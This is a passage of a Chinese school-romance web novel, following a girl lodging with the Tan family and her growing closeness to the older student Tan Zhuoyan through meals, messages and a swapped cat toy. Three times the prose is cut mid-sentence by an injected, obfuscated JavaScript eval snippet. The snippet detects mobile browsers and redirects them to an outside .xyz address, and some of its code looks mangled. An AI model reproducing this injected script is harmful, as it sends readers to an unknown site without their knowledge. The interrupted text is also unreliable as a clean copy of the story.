“嗯，行，还埋怨，小没良心的，白给你抓了。”谭卓言随手将小猫咪扣到了裤子的裤袢上。 那边周容瑄朝他唤了声：“卓哥！快来顶上！我去趟厕所！” 谭卓言掀了下眼皮：“哥哥过去了，你在这儿继续玩吧。” “嗯。”闵向栀依依不舍的又瞅了一眼他腰间的那只小猫咪。 余光中看着谭卓言离开，闵向栀低头看着她手里的黑色小猫咪，她闷闷的站在那里，像霜打的茄子似的，无精打采的耷拉着眼皮，轻叹了一口气。 明明是她喜欢的，但她心里竟然一点都欢喜不起来。 不就是一模一样的小猫咪么，要哪只不都一样，她到底在惋惜什么呢。 玩到十二点半，一行人才离开电玩城，前往楼上的美食大排档。 正值午餐时间，大排档人有些多，但还是能找到空位。 几人选了张拼在一起的长桌，谭卓言他们相对着落座，两个女生并排坐到了旁边的小桌前。 见闵向栀她们对面空着位置，尚熠伟拿着菜单想坐过去时，对面的谭卓言弯着指节，叩了桌子两三下，他面无表情的轻啧了声：“坐过来。” 尚熠伟屁股都还没落座，就趴在桌子上，又蹭了回去，他将手上的菜单递过去：“来，学妹们点餐吧，想吃什么就吃什么，别跟你们谭学长客气。” 闵向栀接过菜单：“谢谢尚学长。” 大排档里有很多美食，可以混着选，闵向栀本来想选一份鸭血粉丝汤的，但看到这里的招牌是鱼香肉丝盖饭时，她又忍不住点了她最喜欢吃的鱼香肉丝。 刚才的饮料也已经喝完了，闵向栀就又点了一杯柠檬汁。 俞青玥跟着她点了份青椒肉丝炒粉，还有一杯酸梅汤。 等其他人都点好后，服务员就拿着菜单离开了。 “我刚才那把游戏老输在一个转弯口，结果让卓哥替了一把，竟然一下子通关了。”等菜的时间有些无聊，周容瑄随口聊了起来。 旁边的男生朝谭卓言望了一眼：“那可是我们的卓哥啊，无所不能。” 周容瑄也跟着吹嘘道：“我跟你们说，以后要是去荒岛，我什么都不带，一个卓哥，万事搞定。” 谭卓言拎起茶壶，往茶杯里倒着热水，没搭理他们。 倒是尚熠伟搭腔道：“周容瑄，你要脸不，去荒岛干嘛跟你一个大老爷们儿啊，卓哥又不是弯的。” “……” 男生们的话题，闵向栀她们插不进去，两个人就聊起了刚才买到的一些小东西。 “不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717876|173804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道这些书纸够不够包我的书，我刚才是不是应该多买两张啊。”俞青玥拿出书纸，数了一下。 闵向栀瞅了一眼：“应该够吧，我当时买的时候，一个袋子里有八张，差不多都包完了。” “完了，我只买了六张，那肯定不够吧。” “但你这个好像比我的那种大一些，不过你要是实在不放心，那等下我陪你再买两张吧。”闵向栀说道。 俞青玥点头：“好啊，保险一些，还是去多买两张吧。” 收起书纸，俞青玥又从包里拿出个全新的手机链：“这个手机链是我今天买到的最喜欢的，颜色跟糖果似的。” 闵向栀也跟着从包里掏了出来：“我也是，我这上面有个粉色的小蛋糕，还有个红色的小勺子，都很精致。” “我们现在就挂上吧，看看效果怎么样。” “好啊。”闵向栀附和了一句。 拆开外面的透明包装盒，刚拿出手机链，那边服务员就将他们刚才点的餐，一一盛上了桌。 趁着将包装盒塞进包包的工夫里，闵向栀偏头看了一眼旁边，点的餐基本都在旁边的桌子上，她的那份鱼香肉丝盖饭尤其离得远，想着等其他人都拿完，再去端过来也不迟。 她转而闷头，拆下手机壳，准备系上新买的手机链。 刚盛上桌的饭菜有些烫，其他人也都只顾着玩手机，不着急吃饭。 六七个人点了各种各样的菜，还有各种饮料。 瞅着其他人还在玩手机，尚熠伟不禁催了一句：“这都是谁点的菜，谁点的饮料啊。” 没人理他。 只有刚系好手机链的俞青玥，看她点的餐离得很近，就直接探身，将那份青椒肉丝炒粉，还有酸梅汤端到了面前。 端好，俞青玥问旁边的闵向栀：“你刚才点的什么来着？” 闵向栀头也没抬，她将手机链捻成一股线，正往手机壳侧边的洞洞里塞：“没事，等会儿我自己拿吧。” 谭卓言偏头瞥了一眼，看闵向栀捏着手机链，还在卖力的往小洞洞里塞，他也没说什么。 将桌上的餐巾盒搁到一边，谭卓言就随手端起那盘鱼香肉丝盖饭，搁到了闵向栀的跟前。 而后他又顺手将她刚才点的那杯柠檬汁也搁了过去。 “谢谢哥哥。”闵向栀闷着头小声道。 撞见这一幕，尚熠伟嬉皮笑脸道：“卓哥不愧是学霸，这么多人点餐，都能记着妹妹点的什么，要不你给兄弟们也分一下餐。” 桌上不过七人份点的餐，要记住其实也不难，但谭卓言压根就没注意其他人都点了什么菜。 “来呀，卓哥的记忆力超群，就这么几份菜，可难不倒你啊。”尚熠伟又催了一句。 谭卓言微撩眼皮，面色沉凉道：“你闲的蛋疼？” 尚熠伟啧了声：“卓哥，当着两个小妹妹面呢，请文明用语。” 谭卓言又耷拉下眼皮，懒得理了，他拿过一罐雪碧，单手撕开拉环，往里面放了一根吸管。 尚熠伟却来劲了：“麻烦卓哥哥帮兄弟几个分一下餐，谢谢。” 谭卓言单肘撑桌，他长指捏着那罐雪碧，唇角松散的咬着吸管，听到尚熠伟肉麻的话，他微撩了下眼皮，神色松散。 而后他轻吐出吸管，语气不咸不淡的丢过去一句：“闲得你蛋蛋疼？” “……” 8. 8 谭卓言的那句话落下去之后，惹得周容瑄他们一阵哄笑。 对面的尚熠伟却笑不出来。 被谭卓言连着呛了两句，尚熠伟好不委屈道：“卓哥，你可太偏心了，好兄弟在你心里就这么一文不值是不是。” “呕。”周容瑄实在听不下去了，他将手机搁到一边，转头又念叨了一句，“你别整这些恶心的行不行，你都说了卓哥又不是弯的，再说了你跟人小妹妹争宠，你好意思？” 说完，周容瑄摆了摆手：“都赶紧放下手机，吃饭。” 其他人纷纷将各自点的餐，端到了面前。 闵向栀默默的将穿好挂坠的手机放到了桌上。 刚才的话题落下去之后，男生们又有了新的话题，桌上依然很热闹。 两个女生倒是很安静的吃着饭。 闵向栀用筷子夹着鱼香肉丝，米饭有些碎，筷子不太好使，刚才忘记让服务员给她拿个勺子了，她抬头，望向前方，结账的柜台处那里有个消毒柜，里面放着一些小碗，还有很多干净的白陶瓷勺子。 不过有些远，还要穿过两边坐满人的过道，才能走到消毒柜那里。 看到那么多人，闵向栀闷下了眼睫，她不想过去拿勺子，当着那么人的面走过去，那种感觉就像是没穿衣服一样的羞耻。 算了，她可不想出去走那么一趟。 就这么用筷子凑合着吃吧，虽然很不方便，但至少也能吃进嘴里。 “叮——”的一声，手机屏幕亮起，进来一条微信新消息。 闵向栀拿过手机，解锁看了一眼，是谭卓言给她转发过来的一条视频。 除此之外，谭卓言什么都没说。 闵向栀放下筷子，她双手拿着手机，而后静音，点开了那条视频。 视频里，是一只虎斑纹的小猫探头探脑的，看着像是要出门，但看到有人走过来，它突然又像是受到惊吓似的缩了下脑袋，而后夹着尾巴，身体几乎贴着地面，哧溜哧溜的就跑走了，跟个小怂包似的。 闵向栀：？ 莫名奇妙的一条视频，干嘛突然转发给她呀。 闵向栀一脸疑惑转头看了过去，旁边的谭卓言已站起身，他绕过桌子，走了出去，也不知道要去哪里。 瞅了一眼他的背影，闵向栀将手机放回桌上，她重新拿起筷子，刚吃下一口炒饭，就感觉到另一边的俞青玥用胳膊肘撞了她一下：“我追的连载小说今天提前更新了，大大还更了五千多字呢。” “你追的什么小说呀？”闵向栀探头望了一眼。 俞青玥给她亮了一下手机屏幕：“就这个，校园小甜文。” “好看么。” “我觉得挺好看的，男女主互动很青涩，但又很甜，反正我每天都盼着大大更新。” “哦。”闵向栀点了下头。 忽地感觉到旁边有人落座了下来，闵向栀转过了头，谭卓言已经回来，他坐下时，还顺手将一个白陶瓷的勺子放到了她盘子的边缘。 余光中也没看到他拿回来其他东西。 所以他刚才出去一趟，就是为了帮她拿个勺子么。 闵向栀都还没来得及说声谢谢，就听见对面的尚熠伟不满意的嘟囔了一句：“我真的是服了，你说你都走过去了，多拿个勺子能累着你么，我的谭大少爷？” 谭卓言抬眸望了过去：“你也吃的炒饭？” 话落，没等尚熠伟说什么，谭卓言就低下眼皮，凉凉地瞅了一眼：“哦，还真是炒饭。” 尚熠伟：“……” 算了，不争了。 这哥们的心脏已经长到咯吱窝下面了，要不然。 怎么能这么偏心呢？！ 尚熠伟端起盘子，他就着盘子的边缘，用筷子扒拉着青椒肉丝炒饭，呼噜呼噜的大口吃了起来。 闵向栀拿起勺子，挖了一勺盘子里的鱼香肉丝炒饭，送进嘴里时，想到刚才谭卓言给她发的视频，她拿出手机，又播放了一遍。 后知后觉的意识到视频里那个小猫畏畏缩缩的样子，还真有一点像她刚才缩着脖子不敢走出去的模样。 谭卓言突然给她发过来这个视频，是不是想告诉她。 你看你刚才看到那么多人就缩起来的样子是不是跟这只小猫咪一样的怂包？ “……” 吃完饭，跟谭卓言他们告别之后，闵向栀她们就直接乘坐直梯，下到了地下一层。 “还是去之前那家买书纸么？”走下直梯，闵向栀问了一句。 俞青玥点头回道：“嗯，买一样的吧，花纹太多就不好看了。” 买完书纸，俞青玥就跟闵向栀说道：“陪我上楼吧，我妈让我给她买个口红。” “那我们就坐扶梯上去吧。” 乘坐扶梯，抵达一楼，陪着俞青玥买完口红，也就没什么好逛的了，闵向栀平常也不化妆。 离开时，俞青玥突然凑过来，小声的跟闵向栀讲道：“我好像看到二中的校花沈书妍了。” 对于二中的校花不太感兴趣，闵向栀就随口问了一句：“这你都知道么。” “当然了，我在论坛看到的照片，还是她跟谭学长的合照呢。” 一中的校草和二中的校花，这个组合多少有些暧昧了。 闵向栀突然来了兴趣：“他们是怎么认识的呀？” “听说是高一时两个人代表江城去参加数学竞赛认识的，那个时候论坛里关于两个人的cp就火爆了呢。”俞青玥继续讲道，“不过沈书妍高二那年去国外做了一年的交换生，现在刚回来，就高调的在论坛告白谭学长，说要追他呢。” “……”信息量这么大的么。 俞青玥微努下巴，跟闵向栀示意了下：“前面那个高高瘦瘦，穿牛仔裤黑靴子的女生就是二中的校花沈书妍。” 闵向栀顺着俞青玥示意的方向望了过去，女生长长的栗色卷发及腰，两边各戴了一个红色的蝴蝶结发夹，俏皮又甜美，转过身时，也是一张极为明艳的脸，不愧是校花，整个人漂亮又惹眼。 瞧着沈书妍走远，俞青玥不禁感叹了一句：“她跟谭卓学长看起来还挺般配的。” 闵向栀望着沈书妍离开的背影，闷闷的反驳了一句：“不觉得般配。” “哪里不般配啊？”俞青玥追问了一句。 闵向栀顿了一下，而后她板着一张小脸认真的回道：“她是二中的。” “……” 这跟般不般配有什么关系么。 隔天周一，早上吃完早餐，闵向栀照例跟在谭卓言的后面出了门。 走到一半，闵向栀偷偷瞅了一眼前面的谭卓言，他还戴着耳机，也不知道是在听歌，还是在听英文广播。 闵向栀咬了下唇，平常老是被这个哥哥作弄，她突然也想使坏作弄他一下。 她抓着书包的带子，望着谭卓言的背影唤了声：“哥哥。” 前面的人没反应。 闵向栀偷偷抿嘴笑了下，反正谭卓言戴着耳机也听不到，那她想说什么都可以。 刚在脑海里酝酿出一句，你是大笨猪，可还没来得及说出口，就听到从前面传来一道冷淡的声线：“嗯，有事？” “……” 什么耳朵。 这都能隔着耳机听到么。 闵向栀眼睫微颤，慌忙改了口：“我想吃芝麻球。” 谭卓言朝旁边睨了一眼，看到路边有家炸油条店，摆着刚炸出来的芝麻球，他走了过去：“老板，给我来两个，分开装。” “两个一共四块钱。”老板分别装了两个芝麻球，递过去时，又嘱托了一句，“刚炸出来的，吃的时候小心烫啊。” “好，谢谢。”谭卓言接了过来。 转身，谭卓言将其中一个芝麻球递给了闵向栀：“慢点吃，小心烫。” “谢谢哥哥。”闵向栀接了过来。 再朝前走去时，闵向栀捧着芝麻球，跟在了谭卓言的身后，她不敢再作怪了，怕又被抓个正着。 乘坐公交车抵达学校，还没走到校门口，忽地听到后面有人唤了一声：“谭卓言！” 看前面的谭卓言没反应，闵向栀就转头朝后看了一眼。 身后热闹的人群里，有个女生朝这边跑了过来，近了才看出来，那女生就是前天碰到的二中校花沈书妍。 转过头，闵向栀又朝前看了一眼，谭卓言依然没什么反应，明明那么大声，她都听到了，他不可能没听到吧。 刚才不是很快就听到她叫了他一声哥哥么。 闵向栀慢吞吞的跟在身后，本来想提醒一下谭卓言的，但不知为何她又不想告诉他，就是不想让他知道，那个跟他很般配的校花姐姐来找他了。 也不知道她哪来的那些别扭的小心思。 不过很快，沈书妍就自个跑了过来，那女生过来就摘掉了谭卓言的一个耳机：“喂，我刚才叫你，没听到啊？” 谭卓言撩了下眼尾，从沈书妍手里夺过耳机：“听歌呢。” 说完，谭卓言顺手将耳机塞进了T恤的领子里。 沈书妍背着手，走到了谭卓言的面前，她一边倒着走，一边又跟他说道：“这周末有空么，我们这边有个Party，你要不要过来？” “等周末有空了再说。”谭卓言懒懒的应付了一句。 闵向栀跟在两个人的身后，她偷偷朝前看了一眼，沈书妍还跟前天一样的漂亮，梳着个马尾，即便穿着简单的校服，却依然明媚艳丽。 旁边有不少一中的女生，低低的惊呼道：“那就是二中的校花吧，看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717877|173804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟谭学长好般配。” 察觉到前面越来越多的人朝这边看过来，闵向栀抓着书包的带子，她闷闷的走到谭卓言跟前：“哥哥，我先走了。” 说完，也没等谭卓言说什么，闵向栀就快步朝前走去。 周一的课程紧，几乎一整天都在上课，也就中午跟俞青玥出去吃了个午餐，这期间，闵向栀一直没碰到谭卓言。 直到傍晚放学时，闵向栀才收到谭卓言发来的一条信息：要不要过来一起吃烤串？ 闵向栀捧着手机，她指尖轻点屏幕，打出一行字：那个校花姐姐没去找你么？ 打完，闵向栀又觉得不合适，弄得她好像多在意这件事似的，还不如直接去看看呢。 闵向栀又删掉那句话，转而回复谭卓言：好，在哪家呀？ 谭卓言：从校门口出来，左转，对面有家老马烧烤店。 谭卓言：可以带你朋友一起过来。 闵向栀：青玥今天有事，已经先回去了。 谭卓言：那你自己过来吧。 闵向栀：哦，我这就过去。 收拾好书包，走到校园门口，按照谭卓言的提示，闵向栀左转朝着那家老马烧烤店走去。 到店时，谭卓言他们已经点好了烤串，今天人不多，只有尚熠伟跟周容瑄两个人在。 “向栀妹妹，这边。”尚熠伟热情的招呼了一句。 闵向栀走过去，乖乖的招呼了声：“学长们好。” 谭卓言将一个空盘子放到了他对面：“坐吧，想吃什么，自己拿。” “哦。”闵向栀绕到桌子的对面，将书包摘下来，放到一边，她才坐了下来。 跟她寒暄了几句，桌上的话题就很自然的转到了谭卓言的身上，尚熠伟开了个话头道：“卓哥，你知道那个二中校花有多惦记你么？” 谭卓言没吭声，只是低着眼皮倒了一杯雪碧，放进吸管后，他随手将那杯雪碧放到了闵向栀的面前。 “谢谢哥哥。”闵向栀小声道了声谢。 “一回国就过来找你，所以咋样，后续会有发展么？”尚熠伟继续追问了一句。 闵向栀低着头，咬了一口烤馍，烤好的馍片很脆，她都不敢大口嚼，生怕听不清桌上的谈话。 谭卓言依然不搭话。 倒是旁边的周容瑄起哄道：“卓哥，这未来的嫂子我先认了。” 说着话，周容瑄还有模有样的举起玻璃杯，碰了一下谭卓言的：“祝卓哥跟我未来的嫂子百年好合，永结同心。” 听到这话，闵向栀只觉嘴里的烤馍片突然就不香了。 谭卓言懒懒的掀了下眼皮：“谁是你哥。” “哈哈操！我算是听出来了，为了不要嫂子，宁愿跟兄弟断绝关系是不是。”尚熠伟终于聪明了一回。 周容瑄也跟着后知后觉道：“卧槽，还真是！” “卓哥，你知道你这叫什么嘛，暴殄天物！还是个极品天物！”尚熠伟不禁惋惜道。 “你喜欢，你追。”谭卓言没声没调的丢过去一句。 尚熠伟嘿嘿一笑：“我这不是想么，奈何人校花都不看我一眼啊。” “卓哥，你这不地道了，让伟哥去追，不就是让他自取其辱么。”周容瑄转头，又冲着尚熠伟贱兮兮的调侃了一句，“这不就是癞蛤蟆想吃天鹅肉么。” 尚熠伟将一张纸巾揉成团，丢了过去：“去你的，我跟你说，卓哥真要放言一句不喜欢，我立马追去，这不是大哥的女人，我不敢碰么。” 谭卓言拿起一串蘑菇，咬了一口，懒得搭理他们了。 闵向栀闷闷的坐在那里，关于那个校花的话题，谭卓言他们几乎都插科打诨的聊了过去，也没什么实质性的内容。 她也没听到谭卓言亲口表明他不喜欢那个校花，也没说以后会不会在一起。 不久，尚熠伟跟周容瑄结伴上厕所去了，这边就只剩下了谭卓言跟闵向栀两个人。 闵向栀偷偷看了一眼对面的谭卓言，察觉到他要抬眼时，她又立马低下头，拿起旁边的雪碧，就着吸管咕咚咕咚地喝了一两口。 再一次偷看谭卓言时，刚好被他逮了个正着：“是不是有话要跟哥哥说？” 闵向栀抿了下唇，终于鼓起勇气跟他说道：“哥哥，你不能早恋，还没高中毕业呢。” 谭卓言轻笑了声：“嗯，你还管上我了？” 闵向栀将手上的雪碧放到一边：“谭姨会管你的。” 瞧着她认真的模样让人忍俊不禁，谭卓言朝后靠到了椅子的后背上，吊儿郎当的故意逗弄了她一句：“偷偷谈，我老妈又不会知道。” 闵向栀微探身，她朝前蹭了蹭，而后她睁着圆溜溜的大眼睛，突然跟他说道：“我会告状的。” “……” 9. 9 她的声音温温软软，一个字一个字的落下来时，像是小猫的肉垫踩上来，不疼不痒的。 谭卓言单肘撑桌，他长指捏着一杯凉茶，神色散淡的望着对面的闵向栀：“不帮哥哥保守秘密也就算了，还要告哥哥的状？” 闵向栀从盘子里挑出一串骨肉相连，听到谭卓言的话，她抬起眉眼，很认真的点了下头：“嗯，贿赂我也不行。” “……” 吃着他的烤串，喝着他的饮料，还这么理直气壮。 谭卓言不禁嗤笑了声：“嗯，行，养不熟的小白眼狼。” 闵向栀心虚的嚼着嘴里的鸡肉，没再说话了。 烧烤桌前突然安静了下来。 谭卓言也没再吭声，他低下眼睫，从桌上拿过一罐雪碧，单手拉开了拉环，他人却还有些走神，唇边也不自禁的漫着笑意。 他也不知道他在笑什么，可就像听到了一个很好笑的笑话似的，上扬的嘴角久久落不下来。 将拆下来的拉环丢到一边，谭卓言抬捷，透过傍晚的夕阳，望了一眼对面的闵向栀。 前不久，闵向栀刚过来时，还一副胆小怕生的模样，像是刚抱回家的小奶猫似的，总是躲着他。 但不过数日，她好像就已经熟悉了他的味道，不怕他了，也不躲他了，甚至还举着她的小肉爪开始张牙舞爪的吓唬他了。 察觉到对面的人没了动静，闵向栀抬头望了一眼，这一眼不偏不倚的，刚好撞入谭卓言望过来的视线里。 闵向栀慌了神，她眨了眨眼睫：“哥哥，我脸上有东西么？” 谭卓言神色淡然，几乎看不出什么情绪来：“没有。” 骗人。 没东西你干嘛一直看我呀。 觉得他是故意想让她出丑，闵向栀还是从旁边抽出一张纸巾，擦了擦脸颊，却什么都没擦到。 闵向栀不放心，她掏出手机，打开相机的自拍功能，照了照，她脸上果然什么都没蹭到。 将手机搁回桌上，再抬头望过去时，谭卓言正低着眉眼，一边看着手机，一边吃着手里的烤串。 仿佛刚才一直盯着她看，不过是闵向栀的错觉罢了。 闵向栀没再想那么多，她拿起一串海带，也跟着埋头吃了起来。 时间过得很快，这一周也眨眼而过，很快就到了周末。 周五放学早，上完两堂课，班主任就放他们回家了。 “今天放学这么早，我们要不要出去逛一圈呀？”见班主任离开后，俞青玥提议了一句。 闵向栀收拾着课本：“去哪里逛呀？” “附近的公园，或者去图书馆好不好。” 闵向栀刚要说什么，就看到桌上的手机屏幕亮起，进来一通电话，她扒头看一眼，是许艺萍打过来的，于是就连忙接通了电话。 俞青玥没再说话了。 直到等闵向栀挂断电话，俞青玥才又问了一句：“有人找你么？” 闵向栀将手机塞进了书包里：“嗯，我叔叔今天回来，阿姨让我早点回家，一起跟他们吃个晚餐。” “这样啊，那我们下次再逛吧。” 收拾完书包，两个女生走出了教室。 走到大堂，闵向栀问俞青玥：“高三还没放学吧。” “那肯定了，可能还要连着上晚自习呢。”俞青玥回道。 闵向栀点了点头，没再说话，她本来想打个电话，问一下谭卓言能不能早点回去，但转而想到许艺萍可能早就已经跟他打过电话了。 她还是不打扰他了。 乘坐公交车回到家，闵向栀才发现，今天不仅谭叔回来了，谭知贤也从学校回到了家。 进了家，在玄关处刚换好鞋子，那边谭绍宏就从厨房探头唤了一声：“是向栀回来了么？” 闵向栀紧忙穿好拖鞋，走了进去：“谭叔，是我。” 许艺萍也跟着走到厨房门口：“行了，接下来的菜我来炒吧，你跟向栀聊聊天。” “诶，行。”谭绍宏将木铲递给了许艺萍，而后他走出了厨房。 看到谭知贤正坐在沙发上看杂志，闵向栀走过去，打了声招呼：“贤哥哥。” 谭知贤从杂志里抬起头，应了一声：“嗯。” “快来坐，先吃块榴莲，我刚买回来的。”谭绍宏拿起块榴莲招呼了她一声。 闵向栀摘下书包，随手放到地上，而后她接过了谭绍宏递过来的榴莲：“谢谢谭叔。” “在这里住的怎么样，习惯吗？”谭绍宏随身落座到了沙发上。 闵向栀跟着坐到沙发的拐角处，她托着手里的小盘子，乖乖的回道：“挺好的，谭姨和哥哥们对我都很照顾。” “那就好。”谭绍宏点点头，他看起来快五十了，慈眉善目的，看起来很和善的样子，跟着说道，“当初你爸还想把你带过去，那个国家治安那么差，你一个女孩子怎么能让人放心呢，还是待在这里好多了，有这么多人照顾，你爸妈也能专注工作，争取早点回国。” 闵向栀双手捧着那块榴莲，又乖乖的点了点头。 “再说你爸妈这次要去三年多，刚好是你高中最重要的三年，以后就安安心心的住在谭叔这里吧，有什么学习上的问题就多请教两个哥哥，他们都能帮助你的。”谭绍宏又忍不住叮嘱了一句。 闵向栀依旧乖乖的坐在那里，点了点头。 谭绍宏看起来很亲切的样子，但或许因为太久不见，闵向栀多少有些拘谨。 那边的谭知贤默不吭声的放下杂志，他探身，从茶几上拿过一盒象棋：“爸，要不要，下棋？” 谭绍宏侧坐过了身子：“行啊，咱爷俩来一盘。” 闵向栀偷偷松了口气，她一手托着榴莲，一手拎起了地上的书包：“谭叔，我先回房间，放一下书包，你跟贤哥哥下象棋吧。” 谭绍宏转头看向她：“行，不过别待太久，马上就能开饭了。” “好的。” 回完，闵向栀就抬脚朝着她的房间走了过去。 回到房间，关上门，闵向栀拎着书包，走到了写字桌前，她拉开椅子坐了下来，慢吞吞用小勺子挖着榴莲吃。 要是等下吃饭时，她也能端回来一份，在她房间里吃就好了。 但想想那样好像有些不礼貌。 闵向栀不知道在担心什么，其实谭叔谭姨还有贤哥哥对她都挺好的，可一想到等下要跟他们一起吃饭，她就好像又回到了第一天，坐在饭桌前好不局促的样子，要是。 有个熟悉的身影，突然从闵向栀的脑海里一闪而过。 虽然有些唐突，可那一瞬，闵向栀确实想到了谭卓言，要是晚上他也在就好了。 闵向栀放下吃了一半的榴莲，她从书包里掏出手机，给谭卓言发了个微信：哥哥，你不回来吃饭么？ 谭卓言：干嘛，想我了？ “……” 闵向栀抿了下嘴角，她捧着手机，继续回复了谭卓言一句：谭叔叔回来了，你不回来见一面么。 谭卓言：急什么，晚上见也不迟。 闵向栀：贤哥哥也回来了，难得一起吃个晚餐，你都不回来么。 那边突然没了动静，许是谭卓言忙去了，半分钟后，闵向栀才收到他回复来的一句：吃个饭而已，我还没高中毕业呢，其他事都不重要。 “……” 盯着谭卓言的那句话，闵向栀塌了下肩膀，她这算不算是搬起石头砸了自己的脚。 看怎么都哄骗不回来谭卓言，闵向栀也只好放弃了：那哥哥就好好学习吧，我不打扰你了。 将手机搁到一边，闵向栀双肘撑桌，在桌子上趴了会儿，她才起身，吃完了剩下的一半榴莲。 在房间里磨蹭了好一会儿，闵向栀才终于鼓起勇气朝外面走去。 刚走到门口，忽地听到外面传来门响的声音，是有人从外面回来了，闵向栀像是一下子来了精神，她双手扒到门上，侧着耳朵，屏息听了下外面的动静声。 “诶，你个臭小子，不是不回来吃饭么。” “我这不是想老爸了。” 耳边响起那道熟悉的，带着些慵懒的冷调声线，闵向栀的嘴角也跟着翘了起来，她握住门把手，一下子打开了门。 “哥哥，你回来了？”见到那边的谭卓言，闵向栀的语气也难掩兴奋。 谭卓言回头看了她一眼：“嗯，去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717878|173804||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗手，然后过来吃饭。” “哦。”闵向栀乖乖的去洗手间洗了下手。 返回来时，看到谭卓言已经落座，闵向栀走过去，坐到了他的对面。 那顿饭后来吃的比想象中还要轻松，谭家的人一直断断续续的聊着天，闵向栀就坐在那里，安静的吃着饭，偶尔也会插上一两句。 谭绍宏的工作忙，他是建筑师，经常出差，在家里不过待了一天，周日上午，他就赶往其他城市了。 谭知贤也跟着回学校了。 下午时，家里就只剩下许艺萍，还有谭卓言闵向栀三个人。 许艺萍在厨房忙着炖排骨，闵向栀也帮忙一起洗了下海带，准备等下跟排骨一起炖。 “等出锅时，炖好的海带软糯糯的浸着骨汤，又营养又好吃。”许艺萍从盆里捞出一片海带，就又拎到水池里冲了下水。 “我小时候，我妈也经常这样炖给我吃。” “那可不，这还是我教你妈妈怎么炖的呢。” “难怪。”闵向栀双手浸在水里，搓了搓海带上的泥水。 将切好的海带放入骨汤里，许艺萍拿出前天还剩余的一个榴莲，打开，分装到了两个小盘子里。 “等会儿你卓言哥午觉醒了，你就给他送一份过去。”许艺萍吩咐了一句。 闵向栀点点头，而后又问道：“谭姨不吃么？” “家里炖肉的香料没了，我去趟超市，回来再吃。”说着话，许艺萍已经走出了厨房。 回房间换了身衣服，许艺萍就拿着手机直接走出了家门。 闵向栀端着两盘榴莲走到客厅，她扒头看了一眼，谭卓言好像醒了，他房间开着门。 将其中一盘榴莲放到茶几上，闵向栀端着另一盘，走到谭卓言房间的门口，敲了敲门：“哥哥，你要不要吃榴莲？” 屋里没人应话。 闵向栀探头看了一眼，也没看到谭卓言在房间里，但窗帘已经拉开，满屋子的阳光有些刺眼。 看到写字桌就在门口，她走进去，将榴莲放到了桌上，离开时，无意间看到了，先前在电玩城抓到的那只黑色小猫咪玩偶。 闵向栀拿起小猫咪，把玩了会儿，她就舍不得放下了，隔了这么久，她还是喜欢谭卓言给她抓的这只小猫咪。 抓在手里时，那种很想要的念头，也开始在她心底逐渐作祟。 闵向栀将那只小猫咪放到桌上，而后她跑出谭卓言的房间，从她房间拿出另一只小猫咪，她才又跑了回来。 屏着呼吸，换完，准备离开时，却突然听见一道声线从门口传来：“跑我房间，干什么坏事呢。” “……” 闵向栀慌张的怔在那里，望了过去。 谭卓言懒懒的倚着门框，他刚洗漱完，还没擦干脸，额前的碎发也还沾着水珠，少年的眼眸清亮，整个人却像是刚睡醒似的，慵慵懒懒的。 视线扫过闵向栀手上的小黑猫，谭卓言稍抬眼眸，望着她的眼睛：“干嘛拿我的小猫。” “我没有。”闵向栀背过去胳膊，手里紧紧攥着小猫咪玩偶，犟嘴道，“这是我的，桌子上的那只才是哥哥的。” 谭卓言轻笑了声，而后他慢悠悠道：“我那只左边中间的那根胡子，短了一截，桌子上的怎么可能是我的。” “……” 什么脑袋。 这都能记得住。 闵向栀偷偷瞥了一眼桌上的那只小黑猫，两边的胡子都一般齐，果然是她手上的小猫咪玩偶，左边中间胡子短了一截么。 “反正。”闵向栀心虚的支支吾吾道，“这就是我的，那只才是哥哥的。” 谭卓言双手插兜，他倾身离开门框，慢慢靠近闵向栀一步：“你知道你这是什么行为吗？” “什么啊。”闵向栀紧张的退后半步，跟他拉开距离。 “明抢。” “……” “还是入室抢劫。” “……” 谭卓言一步步贴近她，跟她只隔半米的距离时，他停了下来，双手插兜的微探身，与她视线平行，他眼底含着戏谑的笑意：“我可以将你就地正法的。” “……” 10. 10 晒了大半个屋子的日光，越发晃眼起来，明明晃晃的落了谭卓言一身。 跟他离得近，望着他身上的日光，闵向栀有些恍惚起来。 但过速的心跳却也还让她保持着清醒。 不知是慌乱，还是调换了两只小猫咪，有些心虚，她颤着眼睫，避开了谭卓言的视线：“我又没犯法，你不能冤枉好人。” 说完，闵向栀朝后撤了半步，而后她从谭卓言身子的一侧绕过去，就跑出了他的房间。 一路跑回她的房间，关上门，闵向栀还不放心的上了锁。 像是生怕谭卓言会过来抢走她手里的小猫咪。 午后的房间里很安静，静到闵向栀仿佛都能听到她扑通扑通的心跳声。 